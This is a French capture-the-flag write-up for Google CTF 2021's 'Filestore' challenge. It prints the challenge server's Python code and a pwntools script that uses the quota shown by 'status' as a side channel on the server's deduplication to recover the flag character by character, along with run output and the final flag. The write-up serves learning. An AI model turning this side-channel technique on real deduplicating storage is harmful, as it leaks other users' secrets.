Tags: misc 

Rating: 1.0

# Filestore

![screenChallenge](https://i.imgur.com/tFhtsab.png)

Dans ce challenge, on nous donne un script python et un lien pour ce connecter avec netcat.

Pour commencer regardons ce que donne la connection vers : ``filestore.2021.ctfcompetition.com 1337``.

```
$ nc filestore.2021.ctfcompetition.com 1337
== proof-of-work: disabled ==
Welcome to our file storage solution.

Menu:
- load
- store
- status
- exit
store
Send me a line of data...
test
Stored! Here's your file id:
emz2v1iPtzyOLMtj

Menu:
- load
- store
- status
- exit
load
Send me the file id...
emz2v1iPtzyOLMtj
test

Menu:
- load
- store
- status
- exit
```

Ok, on a donc un programme qui stock des valeurs, on peut stocker les valeurs que l'on veut avec la commande ``store`` suivi de la valeur que l'on veut stocker. On peut ensuite afficher la valeur avec la commande ``load`` suivi de l'id correspondant.

Maintenant qu'on a vu cela, voyons ce que l'on a dans le script python permettant de gérer le stockage :

```python
# Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

import os, secrets, string, time
from flag import flag

def main():
# It's a tiny server...
blob = bytearray(2**16)
files = {}
used = 0

# Use deduplication to save space.
def store(data):
nonlocal used
MINIMUM_BLOCK = 16
MAXIMUM_BLOCK = 1024
part_list = []
while data:
prefix = data[:MINIMUM_BLOCK]
ind = -1
bestlen, bestind = 0, -1
while True:
ind = blob.find(prefix, ind+1)
if ind == -1: break
length = len(os.path.commonprefix([data, bytes(blob[ind:ind+MAXIMUM_BLOCK])]))
if length > bestlen:
bestlen, bestind = length, ind

if bestind != -1:
part, data = data[:bestlen], data[bestlen:]
part_list.append((bestind, bestlen))
else:
part, data = data[:MINIMUM_BLOCK], data[MINIMUM_BLOCK:]
blob[used:used+len(part)] = part
part_list.append((used, len(part)))
used += len(part)
assert used <= len(blob)

fid = "".join(secrets.choice(string.ascii_letters+string.digits) for i in range(16))
files[fid] = part_list
return fid

def load(fid):
data = []
for ind, length in files[fid]:
data.append(blob[ind:ind+length])
return b"".join(data)

print("Welcome to our file storage solution.")

# Store the flag as one of the files.
store(bytes(flag, "utf-8"))

while True:
print()
print("Menu:")
print("- load")
print("- store")
print("- status")
print("- exit")
choice = input().strip().lower()
if choice == "load":
print("Send me the file id...")
fid = input().strip()
data = load(fid)
print(data.decode())
elif choice == "store":
print("Send me a line of data...")
data = input().strip()
fid = store(bytes(data, "utf-8"))
print("Stored! Here's your file id:")
print(fid)
elif choice == "status":
print("User: ctfplayer")
print("Time: %s" % time.asctime())
kb = used / 1024.0
kb_all = len(blob) / 1024.0
print("Quota: %0.3fkB/%0.3fkB" % (kb, kb_all))
print("Files: %d" % len(files))
elif choice == "exit":
break
else:
print("Nope.")
break

try:
main()
except Exception:
print("Nope.")
time.sleep(1)
```
Nous pouvons voir que le flag est stocké dans ``blob`` et est accessible avec une clé (généré aléatoirement) dans le dictionnaire ``file``.

Dans ce script, on va s'intéresser au fonctionnement de la fonction ``store`` et de l'utilisation de la fonction ``status`` nous permettant de trouver le flag.

Grosso modo la fonction ``store`` va stocker les valeurs 16 caractères par 16 caractères et si une partie des 16 caractères entré sont déjà dans ``blob`` , dans le même ordre, alors ils ne seront pas ajouté à ``blob``, le dictionnaire ``files`` aura une clé généré aléatoirement et aura les valeurs correspondant à l'emplacement des caractères voulant être stocké.

Maintenant que l'on sait ça, testons de stocker la valeur ``CTF{``, normalement aucune valeur ne sera ajouté à ``blob`` et donc la taille de celui-ci ne changera pas, ont pourra voir cela avec la commande ``status`` qui affiche la place utilisé dans ``blob``.

```
$ nc filestore.2021.ctfcompetition.com 1337
== proof-of-work: disabled ==
Welcome to our file storage solution.

Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sun Jul 18 22:24:56 2021
Quota: 0.026kB/64.000kB
Files: 1

Menu:
- load
- store
- status
- exit
store
Send me a line of data...
CTF{
Stored! Here's your file id:
6gv6YmlHRsypXyzC

Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sun Jul 18 22:25:05 2021
Quota: 0.026kB/64.000kB
Files: 2

Menu:
- load
- store
- status
- exit
```

Nous voyons bien que la taille n'a pas changé, elle est toujours de **0.026kb** après le stockage de ``CTF{``.

Nous pouvons donc connaitre le flag car si le(s) caractère(s) ajouté à ``CTF{`` ne correspondent pas à une partie du flag, la taille augmentera.

Il faut donc réaliser un script pour tester caractères par caractères la suite du flag :

```python
import pwn
import string

def testChar(partFlagFound):
possibleChars = " "+string.printable[:-6]
quota2 = b""
for char in possibleChars :

nc.recvline() #Menu:
nc.recvline() #- load
nc.recvline() #- store
nc.recvline() #- status
nc.recvline() #- exit

nc.sendline("store".encode()) # store
nc.recvline() # Send me a line of data...
nc.sendline(partFlagFound.encode()+char.encode()) # CTF{....
nc.recvline() # Stored! Here's your file id:
nc.recvline() # recv file id
nc.recvline() # line feed (\n)

nc.recvline() #Menu:
nc.recvline() #- load
nc.recvline() #- store
nc.recvline() #- status
nc.recvline() #- exit

nc.sendline("status".encode()) # status
nc.recvline() # User
nc.recvline() # Time
quota = nc.recvline() # Quota
nc.recvline() # Files
nc.recvline() # line feed (\n)

if quota == quota2:
return char
break
quota2 = quota

host = "filestore.2021.ctfcompetition.com"
port = 1337
nc = pwn.remote(host, port)

nc.recvline() # == proof-of-work: disabled ==
nc.recvline() # Welcome to our file storage solution.
nc.recvline() # line feed (\n)

flag = "CTF{"

i=0
while flag[-1] != "}":
flag += testChar(flag[i+1:])
print(f"[i] {flag}")
i+=1

print(f"\n[+] FLAG : {flag}")
```

Executons maintenant notre script python :

```
$ python3 solve.py
[+] Opening connection to filestore.2021.ctfcompetition.com on port 1337: Done
[i] CTF{C
[i] CTF{CR
[i] CTF{CR1
[i] CTF{CR1M
[i] CTF{CR1M3
[i] CTF{CR1M3_
[i] CTF{CR1M3_0
[i] CTF{CR1M3_0f
[i] CTF{CR1M3_0f_
[i] CTF{CR1M3_0f_d
[i] CTF{CR1M3_0f_d3
[i] CTF{CR1M3_0f_d3d
[i] CTF{CR1M3_0f_d3du
[i] CTF{CR1M3_0f_d3dup
[i] CTF{CR1M3_0f_d3dup1
[i] CTF{CR1M3_0f_d3dup1i
[i] CTF{CR1M3_0f_d3dup1ic
[i] CTF{CR1M3_0f_d3dup1ic4
[i] CTF{CR1M3_0f_d3dup1ic4t
[i] CTF{CR1M3_0f_d3dup1ic4ti
[i] CTF{CR1M3_0f_d3dup1ic4ti0
[i] CTF{CR1M3_0f_d3dup1ic4ti0n
[i] CTF{CR1M3_0f_d3dup1ic4ti0n}

[+] FLAG : CTF{CR1M3_0f_d3dup1ic4ti0n}
[*] Closed connection to filestore.2021.ctfcompetition.com port 1337
```

Bingo !! Nous avons trouvé le flag : ``CTF{CR1M3_0f_d3dup1ic4ti0n}``

Original writeup (https://github.com/Jump2Flag/write-ups/tree/main/2021/Google%20CTF%202021/MISC/Filestore).